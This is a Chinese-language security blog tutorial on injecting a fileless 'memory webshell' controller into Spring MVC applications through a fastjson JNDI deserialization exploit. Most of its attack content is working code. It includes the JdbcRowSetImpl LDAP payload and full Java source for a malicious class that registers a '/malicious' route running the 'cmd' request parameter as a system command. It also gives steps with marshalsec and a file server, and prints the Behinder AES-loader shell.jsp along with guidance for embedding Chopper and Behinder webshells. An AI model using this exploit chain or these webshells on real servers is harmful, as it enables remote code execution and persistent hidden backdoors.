本文仅供参考学习使用。
1 基础
实际上java内存马的注入已经有很多方式了,我在学习中动手研究并写了一下针对spring mvc应用的内存马。
一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一个spring mvc的后端,并直接给了一个fastjson反序列化的页面,在假定的攻击中,通过jndi的利用方式让web端加载恶意类,注入controller。
一切工作都是站在巨人的肩膀上,参考文章均在最后列出。
1.1 fastjson反序列化和JNDI
关于fastjson漏洞产生的具体原理已有很多分析文章,这里使用的是fastjson1.24版本,poc非常简单
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}
当web端使用fastjson对上面的json进行反序列化时,受到@type
注解的指示,会通过反射创建com.sun.rowset.JdbcRowSetImpl
类的对象,基于fastjson的机制web端还会自动调用这个对象内部的set方法,最后触发JdbcRowSetImpl类中的特定set方法,访问dataSourceName指定的服务端,并下载执行服务端指定的class文件,细节这里不做更详细的展开。
1.2 向spring mvc注入controller
学习了listener、filter、servlet的内存马后,想到看一看spring相关的内存马,但没有发现直接给出源代码的controller型内存马,所以学习并动手实现了一下(spring版本4.2.6.RELEASE)。
首先站在巨人的肩膀上,可以知道spring mvc项目运行后,仍然可以动态添加controller。普通的controller写法如下
通过@RequestMapping注解标明url和请求方法,编译部署后,spring会根据这个注解注册好相应的controller。动态注入controller的核心步骤如下
publicclassInjectToController{publicInjectToController(){//1.利用spring内部方法获取contextWebApplicationContextcontext=(WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0);//2.从context中获得RequestMappingHandlerMapping的实例RequestMappingHandlerMappingmappingHandlerMapping=context.getBean(RequestMappingHandlerMapping.class);//3.通过反射获得自定义controller中的Method对象Methodmethod2=InjectToController.class.getMethod("test");//4.定义访问controller的URL地址PatternsRequestConditionurl=newPatternsRequestCondition("/malicious");//5.定义允许访问controller的HTTP方法(GET/POST)RequestMethodsRequestConditionms=newRequestMethodsRequestCondition();//6.在内存中动态注册controllerRequestMappingInfoinfo=newRequestMappingInfo(url,ms,null,null,null,null,null);InjectToControllerinjectToController=newInjectToController("aaa");mappingHandlerMapping.registerMapping(info,injectToController,method2);}publicvoidtest(){xxx}}
步骤1中的context可以理解为web端处理这个请求时,当前线程内所拥有的各种环境信息和资源
步骤2中获取的mappingHandlerMapping对象是用于注册controller的
步骤3中的反射是为了获得test这个Method对象,以便动态注册controller时,告知接收到给定url路径的请求后,用那个Method来处理,其中InjectToController类就是我们的恶意类
步骤4定义的url对象是为了指定注入url,这个url就是我们的内存马路径
步骤5是告知注入的url允许的请求方法
步骤6中RequestMappingInfo填入的信息类似于@RequestMapping注解中的信息,即url、允许的请求方法等。是真正注册controller的步骤
InjectToController这个类就是我们的恶意类,其中定义了test方法,这个方法内存在执行命令,当然也可以替换成冰蝎、哥斯拉的webshell核心代码,以便使用这两个工具。InjectToController的完整代码在后面的章节可见
1.3 获取request和response
常用的jsp一句话webshell代码如下
java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));
由于jsp文件被执行时,会自动获得了request这个资源,所以一句话木马不需要考虑如何获取request这个对象。但在我们注入controller的流程中,恶意java类的编译是由攻击者完成的,web端直接执行编译好的class文件,显然不可能像上面图片中用注解的方式在让test方法(InjectToController中的)的参数自带request, 所以再一次站在巨人的肩膀上https://www.jianshu.com/p/89b0a7c11ee2 ,通过spring的内部方法获取到request和response对象
HttpServletRequestrequest=((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponseresponse=((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse();
如果spring mvc项目部署在tomcat下,也可以用针对tomcat获取requeset的方法,例如从ThreadLocal、Mbean和Thread.getCurrentThread获取(后方参考文献中已给出)
1.4 阻止重复添加controller (非必须)
经过调试发现,上面获取的mappingHandlerMapping中有一个mappingRegistry成员对象,而该对象下的urlLookup属性保存了已经注册的所有url路径,对mappingHandlerMapping进一步后发现,以上对象和属性都是私有的,且mappingRegistry并非mappingHandlerMapping中创建的,而是来自于基类AbstractHandlerMethodMapping。
所以对AbstractHandlerMethodMapping的源码进行了一番查看,发现通过其getMappingRegistry方法可以获取mappingRegistry,而urlLookup是其内部类MappingRegistry的私有属性,可以通过反射获取。
反射获取urlLookup和判断我们给定的url是否被注册的代码块如下
//获取abstractHandlerMethodMapping对象,以便反射调用其getMappingRegistry方法AbstractHandlerMethodMappingabstractHandlerMethodMapping=context.getBean(AbstractHandlerMethodMapping.class);//反射调用getMappingRegistry方法Methodmethod=Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");method.setAccessible(true);ObjectmappingRegistry=(Object)method.invoke(abstractHandlerMethodMapping);//反射获取urlLookup属性Fieldfield=Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");field.setAccessible(true);MapurlLookup=(Map)field.get(mappingRegistry);//判断我们想要注入的路径是否被已经存在IteratorurlIterator=urlLookup.keySet().iterator();List<String>urls=newArrayList();while(urlIterator.hasNext()){StringurlPath=(String)urlIterator.next();if("/malicious".equals(urlPath)){System.out.println("url已存在");return;}}
2 实验
2.1 搞个spring mvc的测试环境
这里用idea做了一个maven+spring mvc+tomcat的测试环境,方便随时换spring、fastjson和tomcat的版本。这个Web应用的功能有两个:
/home/postjson,可以输入json并POST给/home/readjson
/home/readjson,使用fastjson解析json,触发反序列化的rce
推荐一个 Spring Boot 基础教程及实战示例: https://github.com/javastacks/spring-boot-best-practice
2.2 恶意类源代码
通过JNDI注入让服务端执行的代码如下
importorg.springframework.web.context.WebApplicationContext;importorg.springframework.web.context.request.RequestContextHolder;importorg.springframework.web.context.request.ServletRequestAttributes;importorg.springframework.web.servlet.handler.AbstractHandlerMethodMapping;importorg.springframework.web.servlet.mvc.condition.PatternsRequestCondition;importorg.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;importorg.springframework.web.servlet.mvc.method.RequestMappingInfo;importorg.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;importjavax.servlet.http.HttpServletRequest;importjavax.servlet.http.HttpServletResponse;importjava.io.IOException;importjava.lang.reflect.Field;importjava.lang.reflect.InvocationTargetException;importjava.lang.reflect.Method;importjava.util.ArrayList;importjava.util.Iterator;importjava.util.List;importjava.util.Map;publicclassInjectToController{//第一个构造函数publicInjectToController()throwsClassNotFoundException,IllegalAccessException,NoSuchMethodException,NoSuchFieldException,InvocationTargetException{WebApplicationContextcontext=(WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0);//1.从当前上下文环境中获得RequestMappingHandlerMapping的实例beanRequestMappingHandlerMappingmappingHandlerMapping=context.getBean(RequestMappingHandlerMapping.class);//可选步骤,判断url是否存在AbstractHandlerMethodMappingabstractHandlerMethodMapping=context.getBean(AbstractHandlerMethodMapping.class);Methodmethod=Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");method.setAccessible(true);ObjectmappingRegistry=(Object)method.invoke(abstractHandlerMethodMapping);Fieldfield=Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");field.setAccessible(true);MapurlLookup=(Map)field.get(mappingRegistry);IteratorurlIterator=urlLookup.keySet().iterator();List<String>urls=newArrayList();while(urlIterator.hasNext()){StringurlPath=(String)urlIterator.next();if("/malicious".equals(urlPath)){System.out.println("url已存在");return;}}//可选步骤,判断url是否存在//2.通过反射获得自定义controller中test的Method对象Methodmethod2=InjectToController.class.getMethod("test");//3.定义访问controller的URL地址PatternsRequestConditionurl=newPatternsRequestCondition("/malicious");//4.定义允许访问controller的HTTP方法(GET/POST)RequestMethodsRequestConditionms=newRequestMethodsRequestCondition();//5.在内存中动态注册controllerRequestMappingInfoinfo=newRequestMappingInfo(url,ms,null,null,null,null,null);//创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环InjectToControllerinjectToController=newInjectToController("aaa");mappingHandlerMapping.registerMapping(info,injectToController,method2);}//第二个构造函数publicInjectToController(Stringaaa){}//controller指定的处理方法publicvoidtest()throwsIOException{//获取request和response对象HttpServletRequestrequest=((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponseresponse=((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse();//获取cmd参数并执行命令java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));}}
由于fastjson反序列化时,自动下载并执行编译好的class文件,所以要在构造函数中写入注册controller的步骤
反序列化时自动触发的构造函数是第一个构造函数,因为没有带参数
由于registerMapping方法注册controller时需要给一个对象和这个对象内部的处理方法,而web端只下载了InjectToController这个类,再来一次JNDI去获取一个恶意类属实麻烦,所以用了InjectToController injectToController = new InjectToController("aaa");
,这样就会进入第二个构造函数,而不会进入第一个构造函数无限循环。
2.3 测试
启动spring mvc项目,访问/项目/malicious路径,返回404
使用marshalsec开一个ldap的服务,并指定/Exploit这个reference对应的路径为192.168.x.x:8090/#InjectToController,再用python开一个web文件服务器
编译InjectToController.java,将编译好的class文件放到python开的web文件服务根目录下,访问/项目/home/postjson,并提交payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}
payload提交后,会被fastjson进行反序列化,在这个过程中会触发JdbcRowSetImpl中的connect函数,并根据给定的dataSourceName发起LDAP请求,从开启的给定的LDAP服务端(1389端口)获得恶意类的地址,再去下载并执行恶意类(8090端口),可以看到payload攻击成功了
访问/malicious这个uri确定一下
2.4 注入菜刀webshell
只需要找一匹稳定的jsp菜刀马,稍加改造:
把菜刀马的函数定义放在恶意类中
在注入的controller代码中加入菜刀马的判断和执行部分(上面的test方法中)
注意jsp菜刀马最后的out.print(sb.toString());改为response.getWriter().write(sb.toString());response.getWriter().flush();
2.5 注入冰蝎代码
2.5.1 冰蝎的服务端--shell.jsp
首先来看看冰蝎的shell.jsp文件,为了方便阅读,稍作加了一些换行
<%@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!classUextendsClassLoader{U(ClassLoaderc){super(c);}//构造函数publicClassg(byte[]b){returnsuper.defineClass(b,0,b.length);//调用父类的defineClass函数}}%><%if(request.getMethod().equals("POST")){Stringk="e45e329feb5d925b";session.putValue("u",k);Cipherc=Cipher.getInstance("AES");c.init(2,newSecretKeySpec(k.getBytes(),"AES"));newU(ClassLoader.class.getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
可以看出,该jsp的核心功能有三点
为了方便地使用defineClass,创建了U这个类继承ClassLoader;
使用java自带的包,解密AES加密数据
使用defineClass加载AES解密后字节码,获得一个恶意类,利用newInstance创建这个类的实例,并调用equals方法
2.5.2 pageContext
shell.jsp中需要特别注意pageContext这个对象,它是jsp文件运行过程中自带的对象,可以获取request/response/session这三个包含页面信息的重要对象,对应pageContext有getRequest/getResponse/getSession方法。学艺不精,暂时没有找到从spring和tomcat中获取pageContext的方法。
但是从冰蝎的作者给出的提示可以知道,冰蝎3.0 bata7之后不在依赖pageContext,见github issue
又从源码确认了一下,在equal函数中传入的object有request/response/session对象即可
所以注入的controller代码中,可以将pageContext换成一个Map,手动添加key和value即可,前面的恶意类源代码中已经给出了如何获取request/response/session
2.5.3 继承ClassLoader和调用defineClass
在2.5.1中提到需要继承ClassLoader后调用父类的defineClass,当然也可以用反射,但是这样更方便而已。对恶意类稍加改造,继承ClassLoader、定义新的构造函数、增加g函数、添加冰蝎的服务端代码
特别需要注意的是红框内的ClassLoader.getSystemClassLoader()
,如果随意给定某个继承自ClassLoader的类,可能会出现报错java.lang.LinkageError : attempted duplicate class definition for name
。这是因为需要使用getSystemClassLoader()获取创建ClassLoader时需要添加委派父级。
2.5.4 上冰蝎
参考文献:
https://www.anquanke.com/post/id/198886#h3-12\ https://www.jianshu.com/p/89b0a7c11ee2\ https://github.com/mbechler/marshalsec\ https://lalajun.github.io/2019/12/30/java反序列化-fastjson/\ https://github.com/rebeyond/Behinder/issues/151\ https://blog.csdn.net/cumudi0723/article/details/107801362\ https://github.com/rebeyond/Behinder\
作者:bitterz
地址:https://www.cnblogs.com/bitterz/